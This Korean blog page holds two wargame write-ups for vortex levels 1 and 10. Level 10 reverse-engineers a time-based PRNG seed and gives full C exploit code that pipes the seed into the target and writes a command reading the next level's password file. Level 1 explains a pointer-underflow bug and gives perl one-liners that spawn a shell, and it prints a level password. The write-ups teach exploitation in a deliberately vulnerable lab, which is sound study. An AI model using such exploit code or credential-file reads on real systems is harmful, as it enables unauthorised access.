Search results for 'Pipe'

  1. 2011.04.18 -- vortex level10
  2. 2009.09.24 -- vortex level1

vortex level10

2011. 4. 18. 06:35


Vortex Level10에 대한 설명입니다.

Random?
          Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this.


"20개의 정수를 읽고 이 정수값을 생성하는 seed를 30초 안에 써라" 라고 하네요.

파일을 실행한 결과는  다음과 같습니다.



IDA F5 신공으로 보면,

   v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);

seed 를 생성하는 루틴에서 사용하는 함수들은 다음과 같습니다.

1) times function.

NAME
       times - get process times

SYNOPSIS
       #include <sys/times.h>

       clock_t times(struct tms *buf);

DESCRIPTION
       times()  stores  the  current process times in the struct tms that buf points to.  The struct tms is as defined in <sys/times.h>:

           struct tms {
               clock_t tms_utime;  /* user time */
               clock_t tms_stime;  /* system time */
               clock_t tms_cutime; /* user time of children */
               clock_t tms_cstime; /* system time of children */
           };

   times() 함수는 현재 프로세스 타임을 tms구조체에 되돌려줍니다.

     tms_utime는 프로세스가 호출한 명령을 수행하기 위해서 소비된 시간이다.
     tms_stime는 프로세스의 명령을 시스템차원에서 실행하는데 소비된 시간이다.
     tms_cutime은 종료된 모든 자식프로세스가 소비한 tms_utime이다.
     tms_cstime은 종료된 모든 자식프로세스가 소비한 tms_stime이다.

2) clock() function  - 프로그램이 실행된 후 경과한 Clock Tick을 반환

To get a process' CPU time, you can use the clock function. This facility is declared in the header file time.h. In typical usage, you call the clock function at the beginning and end of the interval you want to time, subtract the values, and then divide by CLOCKS_PER_SEC (the number of clock ticks per second) to get processor time, like this:

 #include <time.h>         
 clock_t start, end;    
 double cpu_time_used;         
 start = clock();     ... /* Do the work. */    
 end = clock();    
 cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC;

3) time() function
http://www.joinc.co.kr/modules/moniwiki/wiki.php/article/unixtime

1970년 1월 1일(GMT)를 기준으로 지금까지 흐른 시간을 초 단위로 측정

위의 함수들을 조합해서 seed를 생성한 후에 rand() 함수로 값을 찍습니다.
이 루틴을 그대로 이용해서 level10으로  넘기면 될거 같네요.

처음엔 파일로 쓴 후에 읽게 했습니다. Local system 인 ubuntu 에서는 성공했지만
이 느려터진 vortex 시스템에선 계속 "None, try again" 만 뜨더군요.

파일로 쓰는 시간을 줄일 수 없을까 하다,  Pipe 를 이용해서 해결했습니다.
이 문제를 푼게 올해 초라서.. 지금 다시 돌려보니 깔끔하게 떨어지진 않네요 흑..
사용되는 연산이 적으면 아무래도 시스템 성능에 영향을 더 받겠죠?
File, Pipe 이외에 더 적은 연산을 수행하는 방법이 없을까요.

풀이에 사용한 코드 입니다.


 
#include <stdio.h>
#include <sys/times.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define LEVEL10 "/vortex/level10"

int main(void) 
{
    struct          tms buffer;
    clock_t         v1;
    int             num,tmp,i,j,pid;
    unsigned int    seed;
    int             buf[22] = {0}; 
    char            result[16] = {0};
    char            last[16] = {0}; 
    int             p[2] = {0};
    char            temp[4] = {0};
    char            response[256] = {0};
    //char            action[] = "ls -al > /tmp/result\n";
    char            action[] = "cat /etc/vortex_pass/vortex11 > /tmp/result\n";
    char            end[] = {0};

    v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);
    printf("seed : %d\n", seed);
    sprintf(result,"%x",seed);

    j=3;

    for (i=0;i<strlen(result); i=i+2) 
    {
        sprintf(temp,"%c%c",result[i],result[i+1]);
        last[j] = strtol(temp,NULL,16);
        j--;
     }
if 1
    srand(seed);

    setvbuf(stdout, 0, 2,0);

    for ( i = 0; i < tmp; ++i) {
        rand();
    }

    printf("[");
    for ( i = 0; i <= 19; ++i) {
        buf[i] = rand();
        printf(" %08x,", buf[i]);
    }

    printf("]\n");
#endif

    pipe(p);

    if((pid =fork()) == 0)
    {
        dup2(p[0],0);
        close(p[1]);
        execl("./level10","level10",NULL);
    }
    else
    {
        close(p[0]);
        write(p[1], last, strlen(last));
    }

    write(p[1], action, sizeof(action));
    sleep(1);
    write(p[1], end, sizeof(end));

    return 0;
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

vortex level1

2009. 9. 24. 03:10

엉뚱하게 깊이 들어가서 상당히 헤멨다.

main함수에서 선언한 두 buf 와 ptr이 스택에 생성된 모습을 그려보면 쉽게 포인트를 잡을 수 있다.


unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;


스택에 쌓인 모습은 대충 이런식일 것이다.


---------------         High addresss
ret
---------------
ebp
---------------
buf
---------------
ptr
---------------
x
---------------        Low address


ptr은 buf 의 주소 + 256 의 위치를 가르키고 있는데
case '\\': ptr--; break;  이 구문에 의해 ptr의 값을 낮출 수가 있다.
스택은 높은주소에서 낮은 주소로 자라기 떄문에 ptr의 값을 계속 낮추다 보면
buf의 영역을 넘어서 ptr을  자신을 가리키게 된다.


그 상태에서 아무 값이나 입력하면
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
요기에 걸려서 ptr이 포인팅하는 곳, 즉 ptr의 주소에 입력한 값을 넣게 된다.


매크로 함수 e() 를 보자.


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }


ptr과 0xff000000을 AND 연산해서 0xca000000과 같으면 { } 안의 구문을 실행 시켜 쉘을 획득하게 된다. 0xff는 11111111이므로  AND 연산해서 0xca가 나오는 것은 0xca 자신 뿐이다.

ptr은 buf + 256 의 주소값을 가지고 있어서 -257을 하면 ptr 자신을 가리킬 것이다.
주소값은 4바이트에 Little endian 이므로 16진수 형태로 CA 를 넣게되면  ptr 주소의 첫 1바이트를 바꿀 수 있어서 쉘을 얻을 수 있을 것이다.


처음엔 이렇게 시도를 해보았다.

  perl -e 'print "\\"x257,"\xca"'|./level1

그냥 All done 출력하고 끝이난다.  흠.. 기대한 결과가 나오질 않았다. 이상하다 싶어서 코드를 조금 수정해서 로컬에서 주소값을 찍어보았다.



원하는대로 주소가 ca로 시작하는 것을 볼 수 있다. 값을 더 입력해보면..


perl -e 'print "\\"x257,"\xca","\xca"'|./level1


 


오.. 쉘이 실행되는 것을 볼 수 있다. 왜 이런 현상이 생길까 곰곰히 생각해 보았다.
사실 문제를 풀때 코드를 자세하게 보지 않는 짓을 자주 저지른다. 이번에도 마찬가지였다.

default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; 

default 구문에서 먼저 실행되고 나서 ptr에 x 를 집어 넣는다. 따라서 "\xca"를 입력하면 ptr의 값에
들어가게 되고, 
한번 더 입력하면 다시 default 문에 걸려서 e() function이 실행된다.  으.. 삽질을..

그런데 막상 타겟 서버에서 이렇게 입력하니 shell 이 잠시 떨어졌다가 바로 종료된다.
문제가 무엇일까 생각하다 You may need to consider how bash handles EOF.. 라는
힌트에 주목했다. 표준 출력을 파이프를 통해 입력으로 넘길때 EOF가 같이 넘어가서 바로
종료되는 듯 했다.


(perl -e 'print "\\"x257,"\xca","\xca"';cat)|./level1


따라서 표준 입력으로 집어넣을때 cat을 이용해서 종료되지 않도록 실행해 보았더니 쉘이
떨어졌다!!  README에 적힌대로 /etc/vortex_pass/vortex2 를 읽으면 23anbT\rE 라고
적힌 패스워드를 확인할 수 있다.

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level0  (0) 2009.09.23

badcob War game/vortex